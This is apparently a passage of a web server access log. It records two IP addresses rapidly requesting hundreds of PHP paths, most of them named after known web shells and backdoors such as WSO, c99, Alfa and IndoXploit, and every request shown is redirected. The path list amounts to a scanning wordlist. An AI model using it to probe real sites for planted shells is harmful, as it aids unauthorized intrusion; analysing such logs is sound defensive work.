HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:10 -0400] "GET /wp-includes/images/smilies/dVSRAByORS.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:10 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:11 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:12 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:12 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:13 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:13 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:14 -0400] "GET /makeasmtp.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:14 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:15 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:15 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:16 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:16 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:17 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:18 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:19 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:19 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:20 -0400] "GET /wp-admin/user/cloud.php/config.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:20 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:21 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:21 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:22 -0400] "GET /wp-content/themes/h47vbpo2/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:23 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:24 -0400] "GET /alert.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:24 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:25 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:25 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:26 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:27 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:27 -0400] "GET /custom-plugin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:28 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:28 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:29 -0400] "GET /.well-known/acme-challenge/sxo.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:29 -0400] "GET /wp-includes/Text/Diff/Renderer/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:30 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:30 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:31 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:32 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:32 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:33 -0400] "GET /wp-corn-sample.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:33 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:34 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:34 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:35 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:36 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:36 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:37 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:37 -0400] "GET /css/uslipjzt.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:38 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:38 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:39 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:39 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:40 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:41 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:41 -0400] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:42 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:42 -0400] "GET /wp-admin/6myKRCf7pkL.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:43 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:43 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:44 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:44 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:45 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:45 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:46 -0400] "GET /wp-includes/Requests/Exception/content.php.suspected HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:46 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:47 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:47 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:48 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:48 -0400] "GET /aaa.php/getid3-core.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:49 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:49 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:50 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:51 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:51 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:52 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:52 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:53 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:53 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:54 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:54 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:55 -0400] "GET /.well-known/oduexytv.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:56 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:56 -0400] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:57 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:57 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:58 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:58 -0400] "GET /wp-content/plugins/akbifoe/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:59 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:59 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:00 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:00 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:01 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:02 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:02 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:03 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:03 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:04 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:04 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:05 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:06 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:06 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:07 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:07 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:08 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:08 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:09 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:09 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:10 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:10 -0400] "GET /.well-known/mfeypwze.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:11 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:11 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:12 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:13 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:13 -0400] "GET /wp-admin/pages.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:14 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:14 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:15 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:15 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:16 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:16 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:17 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:18 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:18 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:19 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:19 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:20 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:20 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:21 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:21 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:22 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:22 -0400] "GET /wp-admin/includes/class-walker-nav-edit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:23 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:23 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:24 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:24 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:25 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:25 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:26 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:27 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:27 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:28 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:28 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:29 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:29 -0400] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:30 -0400] "GET /wp-content/plugins/qufeaoy/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:30 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:31 -0400] "GET /wp-content/plugins/lsxvhpg/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:31 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:32 -0400] "GET /edit-link-form.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:32 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:33 -0400] "GET /update/upload.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:34 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:34 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:35 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:35 -0400] "GET /wp-includes/dkmjxfdu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:36 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:36 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:37 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:37 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:38 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:38 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:39 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:39 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:40 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:40 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:41 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:42 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:42 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:43 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:43 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:44 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:44 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:45 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:45 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:46 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:46 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:47 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:47 -0400] "GET /wp-content/uploads/wpr-addons/forms/RxRzhwix.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:48 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:48 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:49 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:49 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:50 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:50 -0400] "GET /welcome.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:51 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:52 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:52 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:53 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:53 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:54 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:54 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:55 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:55 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:56 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:56 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:57 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:57 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:58 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:58 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:59 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:22:59 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:00 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:01 -0400] "GET /wp-admin/js/QXUho.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:01 -0400] "GET /assets/qvbgifxl.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:02 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:02 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:03 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:03 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:04 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:04 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:05 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:06 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:06 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:23:07 -0400] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:24 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:25 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:25 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:25 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:26 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:26 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:27 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:27 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:27 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:28 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:28 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:29 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:29 -0400] "GET /.well-known/cihjbmjk.php HTTP/1.1" 301 795 "-" "-" 13.74.147.97 - - [27/Apr/2025:10:23:29 -0400] "GET 